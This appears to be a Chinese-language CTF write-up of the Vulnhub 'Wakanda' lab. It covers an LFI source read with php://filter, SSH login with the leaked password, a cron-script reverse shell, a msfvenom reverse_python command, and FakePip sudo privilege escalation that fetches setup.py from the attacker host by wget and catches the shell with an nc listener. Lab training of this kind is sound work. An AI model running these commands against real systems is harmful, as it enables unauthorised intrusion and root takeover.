渗透测试实战-Vulnhub-Wakanda
Wakanda Vulhub - 幕布php
- 首先下载Wakanda的虚拟机镜像
- 而后在攻击机(Kali)上首先进行目标主机的探测
- 使用命令,netdiscover或带有参数指定网卡,IP段等的命令,进行探测,也但是使用arp的相关命令,这比netdiscover快一些
- 注意:可能因为网络设置上的问题,在Vmware上的Kali一直探测不到VirtualBox上的Wakanda,起初Wakanda的网卡设置为Host Only,仅主机模式,若是在VBox上开启 其余Linux系统,能够探测到,后来通过多种尝试仍然没法探测到,因而我将Kali 的网络修改成桥接模式,直接链接物理机的网络状态,应该是桥接到了Vbox的hostonly网卡上,kali的ip变成了192.168.56.103
- 查看本身的IP
- 而后进行探测
- 名称为PCS 。。。的就是咱们的目标靶机,不知为什么会出现 两个,可是接下来使用nmap扫描时会发现真正有用的下面的那一个,即:192.168.56.101
- 而后使用nmap进行端口扫描
- 探测到时VBox的虚拟机机,开放的端口以及开启的服务,通过查询 3333|木马Prosiak开放此端口,,,可是在网上看到的以及后续利用的说这是SSH服务的端口
- 也可使用带有参数的nmap 命令,如全端口扫描:namp -sS -p- 192.168.56.101
- 对开放的服务即端口进行分析,能够发现目标机在80端口上开放了http服务,即有Web服务,能够尝试进行访问,在虚拟机和物理机都可,是一个交易网站、
- 而后尝试使用Nikto 进行网站漏洞分扫描,nikto -h 192.168.56.101
- 并无重大的发现,有时也能够尝试其余的网站扫描工具,如awvs,owasp等
- 接着使用dirb枚举一下它的目录看看,drib http://192.168.56.101 应该是使用了一个common.txt的字典
- 查看网页的源代码
- 发现有这样一条注释十分显眼<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->,将?lang=fr输入地址栏发现原来是英文的那段话变成了法语
-
-
- 根据网上看到的说法,这里极可能存在本地文件包含(LFI)或远程文件包含(RFI)漏洞,为了测试是否存在LFI漏洞,使用curl工具,使用php filter伪协议来读取index文件源码,命令:curl http://192.168.56.101/?lang=php://filter/convert.base64-encode/resource=index
- 两个漏洞的介绍
- LFI 本地包含
- LFI漏洞容许用户经过在URL中包括一个文件
- 例子
- 在基本的LFI攻击中,咱们可使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件
- 有的安全级别比较高,可能没法访问密码文件,这就可能须要利用burpsuite拦截请求进行必定的修改
- 其次就是本次实验的状况,利用php函数
- 从如下截图能够看到passwd文件内容编码为base64,复制整个编码文本。而我在实验时应该是将整个都进行编码了
- 还能够利用php 的Input函数
- 使用PHP Input函数,经过执行注入PHP代码来利用LFI漏洞
- 经过反向链接链接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。
- 远程文件包含
- 若是php.ini的配置选项allow_url_include为On的话,文件包含函数是能够加载远程文件的,
- 即服务器经过PHP的特性(函数)去包含任意文件时,因为要包含的这个文件来源过滤不严格,从而能够去包含一个恶意文件,攻击者就能够远程构造一个特定的恶意文件达到攻击目的。
- 原理
- 同本地文件包含原理,只是参数能够换成一个远程的url地址,此时包含的文件不能为php文件,可写成txt或者图片马等等
- 文件包含的时候,无视文件格式,只要文件中有php代码,就会被执行 一句话木马
- 以后使用菜刀链接便可
- 思路
- 而后将这段加密后的源码保存,使用命令:base64 index -d进行解密 后续还能够进一步使用其余方法得到这个密码,可是利用的漏洞都是同样的
- 发现 password="Niamey4Ever227!!!"
- 以前测试过这个服务的其余目录没法使用,如admin,backup等,在端口扫描时注意到有个3333端口开放,后面的名称写的dec-notes,看到网上说这是SSH服务的端口,而后根据前面解密获得的密码,以及在网页上发现的用户名mamado,进行远程登陆。ssh mamadou@192.168.56.101 -p 3333
- 获得了一个python的命令行模式,使用的shell 不是bash 是python
- 而后输入import pty 使用这个模块,用于切换到bash shell.以后的命令是pty.spwan("/bin/bash")
- 该pty模块定义了处理伪终端概念的操做:启动另外一个进程并可以以编程方式写入和读取其控制终端
- pty.spawn(argv[, master_read[, stdin_read]]) 产生一个进程,并将其控制终端与当前进程的标准io链接起来。这经常被用来挡住坚持从控制终端读取的程序
- 成功地到了bash模式
- 在当前的目录下获得第一个flag
- 而后探索其余目录,使用命令:find / --name "*flag*" 2>/dev/null进行查找没有任何结果,多是没有权限访问,再去/var/www/html目录下看看,依旧没有
- 查看当前用户是否具备root权限
- 查找其余用户,cat /etc/passwd
- 发如今当前用户下面有个devops用户,
- 切换 ,cd /home/devops,进行查看,发现了第二个flag,可是没有查看的权限
- 继续探索目录,在tmp目录下
- 发现有个test文件,根据系统时间和其建立的时间,咱们怀疑靶机上运行了一个程序,按期执行建立test文件,这里须要用到带有参数的ls 命令:ls -lar这条命令能够列出目录下项目的用户,修改时间等,这里test文件的时间要比其余的都晚
- 在通过别人的寻找以后,在srv目录下发现了一个python程序,叫作antivirus.py在执行建立test的命令,其内容为
- 颇有可能srv目录下放的就是一些开机执行,自动执行,按期执行的程序,脚本等
- 接下来能够有两种方式获得devops的权限,一种是利用存在的python文件,利用编程,还有一种是利用msfvenom生成payload,将其放入原来的py文件,注释掉原来的代码,后面的侦听过程都是一致的
- 第一种
- 由此,看出这个文件的所属是devops,属组是developers,任何人都能修改,能够进行修改做为一个反向shell
- 这里应该是socket编程,让它与攻击机的1235端口有链接
-
- subprocess模块:
- 运行python的时候,咱们都是在建立并运行一个进程。像Linux进程那样,一个进程能够fork一个子进程,并让这个子进程exec另一个程序。在Python中,咱们经过标准库中的subprocess包来fork一个子进程,并运行一个外部的程序。
- subprocess包中定义有数个建立子进程的函数,这些函数分别以不一样的方式建立子进程,因此咱们能够根据须要来从中选取一个使用。另外subprocess还提供了一些管理标准流(standard stream)和管道(pipe)的工具,从而在进程间使用文本通讯。
- os模块
- 是系统的接口
- os.dup2() 方法用于将一个文件描述符 fd 复制到另外一个 fd2,没有返回值
- 而后在kali上侦听该端口,nc -lvvp 1235
- 成功进入devops的shell
- 而后查看以前在/home/devops下找到的第二个flag
- 第二种
- 使用msfvenom生成payload
- msfvenom -p cmd/unix/reverse_python lhost=192.168.56.101 lport=4444 R
- 而后将-c后的payoad复制进以前发现的antivirus.py中,并注释掉原来的代码
- 而后对设置的端口进行监听,我多是网络设置的缘由,没法链接
- 想办法提权
- 查看devops的root权限,发如今nopass的状况下只有pip可使用
- 关于pip命令,有一个漏洞能够利用,GitHub上有一个利用脚本Fakepip https://github.com/0x00-0x00/FakePip
- 利用pip升级漏洞
- 因为在靶机上下载不方便,先在kali上下载下来 git clone https://github.com/0x00-0x00/FakePip.git
- 进行修改,主要是IP,监听的端口能够自行选择是否修改,但必定与后面监听的端口一致
- 而后在当前的目录下利用python开启一个简单的http服务,提供靶机下载,python -m SimpleHTTPServer 8888
- 而后在靶机上,wget http:192.168.56.103:8888/setup.py
- 而后在靶机上使用root权限执行sudo /usr/bin/pip install . --upgrade --force-reinstall 执行这个EXp
- 在kali上监听EXP中设置的端口,nc -lvvp 13372
- 得到root权限后,查看根目录,获得最后一个flag
- 在这里普及一下漏洞的名称知识
- 至此找到了全部的flag 并得到了root权限
欢迎关注本站公众号,获取更多信息